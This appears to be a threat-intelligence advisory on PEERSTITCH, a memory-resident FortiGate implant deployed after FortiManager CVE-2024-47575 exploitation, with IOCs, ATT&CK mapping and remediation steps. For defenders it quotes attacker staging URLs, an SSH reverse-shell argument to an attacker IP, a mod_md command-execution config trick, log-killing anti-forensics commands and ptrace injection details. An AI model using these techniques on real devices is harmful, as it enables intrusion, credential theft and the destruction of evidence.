Threat reportMalwareTL-2026-3558
PEERSTITCH: Stealthy Memory-Resident FortiGate Implant Deployed via FortiManager CVE-2024-47575 by CL-STA-0954 (UNC5820)
PEERSTITCH: Stealthy Memory-Resident FortiGate Implant (TL-2026-3558), also tracked as FortiJump, is a critical-severity malware campaign scored CVSS 9.8, first published 2026-10-14. It is attributed to CL-STA-0954 with medium confidence, affects Fortinet FortiManager / FortiManager Cloud, references 4 CVEs (CVE-2024-47575, CVE-2025-61624, CVE-2024-26008), maps to 11 MITRE ATT&CK techniques (T1005, T1021.004, T1040), and is covered by 9 detection rules and 28 indicators of compromise.
- CVSS
- 9.8/10Critical
- CVEs
- 4Referenced vulnerabilities
- Techniques
- 11MITRE ATT&CK
- Actors
- 2CL-STA-0954
- Detection rules
- 9SPL · KQL · Sigma
- IOCs
- 28Indicators of compromise
Key facts for TL-2026-3558
- Threat ID
- TL-2026-3558
- Also known as
- FortiJump, PEERSTITCH
- Severity
- CRITICAL
- CVSS
- 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- Status
- ACTIVE
- Category
- MALWARE
- First published
- Last reviewed
- Attribution
- CL-STA-0954, UNC5820
- Attribution confidence
- MEDIUM
- Motivation
- ESPIONAGE
- Target sectors
- telecoms, managed-service-providers, technology
- Target regions
- Global
- Detection rules
- 9
- Indicators of compromise
- 28
Malware and tooling in PEERSTITCH: Stealthy Memory-Resident FortiGate Implant
Malware and tooling: PEERSTITCH
How PEERSTITCH: Stealthy Memory-Resident FortiGate Implant works
Unit 42 reports PEERSTITCH, a 64-bit ARM64 Linux memory-resident implant that patches FortiOS miglogd and iked via ptrace, leaving no persistent binary on disk, no listening ports and no outbound connections of its own. It was deployed by suspected nation-state cluster CL-STA-0954 (aka UNC5820) after CVE-2024-47575 (FortiJump) exploitation of a FortiManager at a telecommunications MSP in September 2024, exposing 500+ managed FortiGate configurations.
In September 2024 the actor exploited CVE-2024-47575, a missing-authentication flaw (CWE-306) in the FortiManager FGFM/FMG-Access channel (TCP 541), against a telecommunications managed service provider. The actor registered a rogue Virtual FortiGate named 'localhost' (serial FMG-VMTM23017412) and exfiltrated the .tm configuration archive covering 500+ managed FortiGate devices, including credentials and cryptographic material. Rogue registrations were observed from 45.32.41.202 and 198.199.122.22.
Post-exploitation reconnaissance used packet-capture rules targeting HTTP, TFTP (UDP 69), RADIUS (UDP 1812-1813) and LDAP (TCP 389), and interception of eleven TCP ports (3696-3706) to harvest credentials and map topology. The actor then abused the FortiOS CLI system.auto-script engine, which Unit 42 attributes to a path traversal flaw tracked as CVE-2025-61624 ('../../../../setup' traversal object), to escalate from admin to root and run staged scripts. Anti-forensics included killall -9 miglogd and syslogd before auto-scripts ran, 'diagnose debug crashlog clear', and automatic deletion of rogue admin accounts, VPN groups and auto-script objects.
Staging files were downloaded from hxxp://23.240.77.233:8085/ and hxxp://47.18.167.159:8085/: pM.js (self-deleting environment preparation), a.js saved as index.js (Emscripten runtime), a.wasm saved as index.wasm, b.js saved as ipssem.js (deployment orchestrator) and dd saved as lldprx (native ARM64 ELF injector). ipssem.js launched lldprx with the arguments 'lldprx!index.js!index.wasm!ipssem.js!lldprx!yyyy!pM.js'. lldprx unlinked its own binary and terminated the staging process.
PEERSTITCH is a 64-bit ARM64 ELF, statically linked against glibc, and acts as a one-shot process-memory patching injector against /bin/miglogd and /bin/iked. It parses /proc/<pid>/cmdline and /proc/<pid>/maps, attaches with ptrace(PTRACE_SEIZE) and PTRACE_INTERRUPT, and runs a bootstrap stub issuing mmap (X8=0xDE) for 0x4000 bytes RWX. It then writes a 1,344-byte payload through /proc/<pid>/mem. The hook builds a covert IPC bridge between the two daemons: it inspects passive traffic with strstr() for markers (TCP port 8550, IP 169.254.0.1), extracts session tokens of up to 31 bytes into a 16-slot ring buffer at offset +0x0F0, and writes across processes via /proc/<counterpart_pid>/mem. Three NOP patches (0xAA0003E0) at base+0x106F7B8, +0x1072E20 and +0x109A570, plus a 20-byte trampoline at base+0x135102C, divert execution into the RWX buffer and bypass FortiOS security validations.
A separate C2 path weaponized Apache mod_md (ACME). The actor wrote ../../tmp/apache2/conf/md-acme.conf via path traversal, pointed account.json at attacker ACME endpoints on 23.240.77.233:8084, and mapped MDChallengeDns01 to /bin/node so that ACME renewal executed commands (MDRenewMode 'always' gave persistent polling). An SSH reverse shell was injected as 'kali@23.240.77.233:8084:b -F /tmp/upfile/ssh_config -i'. The config was later overwritten with decoy content. CVE-2024-26008 (FGFM unauthenticated session reset) and CVE-2024-26009 (FGFM authentication bypass using the FortiManager serial) are listed by Unit 42 as possible mechanisms for the tunnel-management drops and FGFM impersonation observed. Unit 42 assesses attribution to suspected nation-state activity at medium confidence, tracked as CL-STA-0954 and aligned with Mandiant's UNC5820, which exploited CVE-2024-47575 on 50+ FortiManagers since June 27, 2024. Unit 42 stresses that patching does not evict the actor; trust material and credentials must be rotated.
MITRE ATT&CK techniques used in TL-2026-3558
Collection
Lateral Movement
Credential Access
Privilege Escalation
Defense Evasion
T1055.008 Ptrace System Calls; T1070.004 File Deletion
Execution
Command and Control
T1071.001 Web Protocols; T1572 Protocol Tunneling
Persistence
Initial Access
T1190 Exploit Public-Facing Application
defense-impairment
Affected products and versions in PEERSTITCH: Stealthy Memory-Resident FortiGate Implant
- Fortinet — FortiManager / FortiManager Cloud
Vulnerable versions: 6.2.0-6.2.12; 6.4.0-6.4.14; 7.0.0-7.0.12; 7.2.0-7.2.7; 7.4.0-7.4.4; 7.6.0; FortiManager Cloud 6.4.1-7.4.4
Fixed in: Per Fortinet advisory FG-IR-24-423 - Fortinet — FortiOS (FortiGate, ARM64 platforms targeted by PEERSTITCH)
Vulnerable versions: 6.4 through 7.6.4 (CVE-2025-61624)
Fixed in: Per Fortinet advisory FG-IR-26-122
Remediation for PEERSTITCH: Stealthy Memory-Resident FortiGate Implant
Patches
- Upgrade FortiManager to a fixed release per Fortinet advisory FG-IR-24-423 (CVE-2024-47575)
- Apply Fortinet FG-IR-26-122 fixes for CVE-2025-61624 (virtual patch FG-VD-59270.0day in FMWP update 25.120 as interim)
- Apply Fortinet fixes for CVE-2024-26008 and CVE-2024-26009 (FGFM)
Immediate actions
- Isolate FortiManager and FortiGate management interfaces (FGFM TCP 541) from untrusted networks and restrict to known peers
- Block 23.240.77.233, 47.18.167.159, 45.32.41.202 and 198.199.122.22 at the perimeter and hunt for prior connections
- Check /proc/<pid>/maps of miglogd and iked for anonymous 16,384-byte rwxp regions
- Verify 0xAA0003E0 (MOV X0, X0) at base+0x106F7B8, base+0x1072E20 and base+0x109A570 in miglogd/iked text segments
- Review 'diagnose debug crashlog read' for Signal 11 crashes in miglogd, iked and syslogd
- Audit auto-script objects for ../ traversal sequences and unexpected rogue 'localhost' devices (serial FMG-VMTM23017412) on FortiManager
Workarounds
- Restrict FortiManager FGFM access to an allow-list of known FortiGate IPs and enforce a local-in policy
- Disallow unknown device registration on FortiManager
- Restrict admin CLI privileges to limit abuse of the auto-script engine
Longer-term hardening
- Treat edge management interfaces with the highest level of zero trust isolation
- Rotate credentials and cryptographic trust material (certificates, keys, VPN PSKs) after any platform compromise, since patching does not remove attacker access
- Forward FortiGate and FortiManager logs off-box so on-device log deletion cannot hide activity
- Apply Palo Alto Networks Advanced Threat Prevention signatures 95788 and 96788
CVEs associated with PEERSTITCH: Stealthy Memory-Resident FortiGate Implant
CVE-2024-47575, CVE-2025-61624, CVE-2024-26008, CVE-2024-26009
Weaknesses (CWE) in PEERSTITCH: Stealthy Memory-Resident FortiGate Implant
Timeline of PEERSTITCH: Stealthy Memory-Resident FortiGate Implant
- Earliest observed exploitation of CVE-2024-47575 on FortiManager devices by UNC5820, per Mandiant reporting.
- CL-STA-0954 exploits CVE-2024-47575 against a telecommunications MSP FortiManager (September 2024), registers a rogue Virtual FortiGate 'localhost' and exfiltrates the .tm archive covering 500+ managed FortiGates.
- Fortinet discloses CVE-2024-47575 (FG-IR-24-423, CVSS 9.8); CISA adds it to the KEV catalog and Mandiant publishes UNC5820 findings.
- CISA KEV remediation due date for federal agencies for CVE-2024-47575.
- CVE-2025-61624 (FortiOS CLI path traversal, FG-IR-26-122) is published; Unit 42 links it to the auto-script abuse that deployed PEERSTITCH.
- Unit 42 publishes analysis of PEERSTITCH, the memory-resident ARM64 FortiGate implant, and tracks the actor as CL-STA-0954 (aka UNC5820).
Sources cited for PEERSTITCH: Stealthy Memory-Resident FortiGate Implant
- Unit 42 Uncovers PEERSTITCH, a Stealthy FortiGate Implant
- NVD - CVE-2024-47575
- CISA Known Exploited Vulnerabilities Catalog
- Mandiant says new Fortinet FortiManager flaw has been exploited since June (BleepingComputer)
- Fortinet warns of critical FortiManager flaw (The Hacker News)
- CVE-2024-47575 FAQ about FortiJump zero-day (Tenable)
- FortiManager critical 0-day exploited in the wild FG-IR-24-423 aka FortiJump (Orange Cyberdefense)
- NVD - CVE-2025-61624
- CVE-2025-61624 (Wiz Vulnerability Database)
Detection coverage for TL-2026-3558
As of 2026-10-14, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-3558 across Splunk SPL, Microsoft KQL and Sigma, covering 28 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.